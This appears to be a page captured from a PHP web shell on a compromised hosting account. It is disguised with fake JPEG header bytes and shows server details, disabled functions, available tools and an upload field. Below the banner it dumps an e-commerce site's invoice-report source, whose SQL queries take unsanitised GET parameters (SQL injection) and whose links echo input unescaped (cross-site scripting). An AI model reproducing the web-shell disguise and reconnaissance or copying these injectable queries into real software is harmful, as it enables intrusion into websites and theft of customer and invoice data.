���� JFIF aewtgwgerwasdasd
Server IP : 147.93.80.58 / Your IP : 216.73.216.195 Web Server : LiteSpeed System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u939086737 ( 939086737) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u939086737/domains/aakashsolution.in/public_html/reports/ |
Upload File : |
<?php include_once "../action/class.php"; $obj = new database(); if (isset($_GET['shop'])) { $shop = $_GET['shop']; } $count = 50; $offset = 0; if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = 1; } $offset = ($page - 1) * $count; $table = "`invoice`"; $columns = "*"; if (isset($_GET['query']) && trim($_GET['query']) != "") { $query = $_GET['query']; $where = "`invoice_no`='$query' and shop='$shop'"; } elseif (isset($_GET['from']) && isset($_GET['to'])) { $from = $_GET['from']; $to = $_GET['to']; $where = "(`date` between '$from' and '$to') and shop='$shop'"; echo "<a href='exporttoxsl.php?from=$from&to=$to&shop=$shop' class='btn btn-sm btn-primary'>Export to Excel <i class='fa fa-download'></i></a>"; } else { $where = "`shop`='$shop'"; } //echo $where; $order = "id"; $limit = "$offset,$count"; $array = $obj->get_rows($table, $columns, $where, $order, $limit); $rowcount = $obj->get_count($table, $where); $pages = ceil($rowcount / $count); ?> <table class="table-striped table-bordered table-hover table-condensed" id="c_list" style="width:100%"> <thead> <tr> <th style="text-align:center">Invoice No</th> <th style="text-align:center">Date</th> <th style="text-align:center">Customer</th> <th style="text-align:center">State</th> <th style="text-align:center">Taxable</th> <th style="text-align:center">GST</th> <th style="text-align:center">Gross Amount</th> <th style="text-align:center">Transport</th> <!--<th style="text-align:center">Battery Cost</th---> <th style="text-align:center">Total Amount</th> <th style="text-align:center">Action</th> </tr> </thead> <?php if (is_array($array)) { foreach ($array as $invoice) { $table2 = "`sales`"; $columns2 = "round(sum(`taxable`),2) as `taxable`,round(sum(`cvalue`),2) as `cgst`,round(sum(`svalue`),2) as `sgst`,round(sum(`ivalue`),2) as `igst`"; $where2 = "`invoice_id`='" . $invoice['id'] . "'"; $sales = $obj->get_details($table2, $columns2, $where2); ?> <tr> <td align="center"><?php echo $invoice['invoice_no']; ?></td> <td align="center"><?php echo date('d-m-Y', strtotime($invoice['date'])); ?></td> <td align="center"><?php echo $invoice['customer_name']; ?></td> <td align="center"><?php echo $invoice['state'] . " (" . $invoice['code'] . ")"; ?></td> <td align="center"><?php echo toDecimal($sales['taxable']); ?></td> <td> <?php if ($sales['igst'] == 0) { echo "CGST:" . toDecimal($sales['cgst']) . "<br>"; echo "SGST:" . toDecimal($sales['sgst']); } elseif ($sales['igst'] != 0) { echo "IGST:" . toDecimal($sales['igst']); } ?> </td> <td align="center"><?php echo toDecimal($invoice['gross_amount']); ?></td> <td align="center"><?php echo toDecimal($invoice['transport']); ?></td> <td align="center"><?php echo toDecimal($invoice['total_amount']); ?></td> <td align="center"> <a data-toggle="tooltip" title="Print Invoice" href="../invoice/print_invoice.php?inv_id=<?php echo $invoice['id'] . "&page=report"; ?>" class="btn btn-danger btn-xs fa fa-print"></a> <br> <?php if ($invoice['remark'] == 'active') { ?> <a onclick="return confirm('Do you really want to cancel this invoice ??')" data-toggle="tooltip" title="Cancel Invoice" href="cancel_invoice.php?inv_id=<?php echo $invoice['id'] . "&page=report"; ?>" class="btn btn-primary btn-xs fa fa-times"></a> <?php } else { ?> <a onclick="alert('This invoice is already cancelled.')" data-toggle="tooltip" title="Invoice Cancelled" href="#" class="btn btn-primary btn-xs fa fa-times"></a> <?php } ?> </td> </tr> <?php } } else { ?> <tr> <td align="center" class="text-danger" colspan="13">No Records Found!!</td> </tr> <?php } if ($pages > 1) { ?> <tr> <td colspan="13" align="center"> <?php if ($page != 1) { ?> <ul class="pagination pagination-sm"> <li><a href="../reports?pagename=report&page=<?php echo $page - 1; if (isset($_GET['query'])) { echo "&query=" . $_GET['query']; } if (isset($_GET['from'])) { echo "&from=" . $_GET['from']; } if (isset($_GET['to'])) { echo "&to=" . $_GET['to']; } ?>">Prev</a></li> </ul> <?php } for ($i = 1; $i <= $pages; $i++) { if ($i < 4 || $i > $pages - 3 || $i == $page || $i == $page - 1 || $i == $page + 1 || $i == $page - 2 || $i == $page + 2) { ?> <ul class="pagination pagination-sm"> <li <?php if ($i == $page) { echo "class='active'"; } ?>> <a href="../reports?pagename=report&page=<?php echo $i; if (isset($_GET['query'])) { echo "&query=" . $_GET['query']; } if (isset($_GET['from'])) { echo "&from=" . $_GET['from']; } if (isset($_GET['to'])) { echo "&to=" . $_GET['to']; } ?>"><?php echo $i; ?></a> </li> </ul> <?php } elseif ($pages > 5 && ($i == 4 || $i == $pages - 3)) { ?> <ul class="pagination pagination-sm"> <li> <a>...</a> </li> </ul> <?php } } if ($page != $pages) { ?> <ul class="pagination pagination-sm"> <li><a href="../reports?pagename=report&page=<?php echo $page + 1; if (isset($_GET['query'])) { echo "&query=" . $_GET['query']; } if (isset($_GET['from'])) { echo "&from=" . $_GET['from']; } if (isset($_GET['to'])) { echo "&to=" . $_GET['to']; } ?>">Next</a></li> </ul> <?php } ?> </td> </tr> <?php } ?> </table>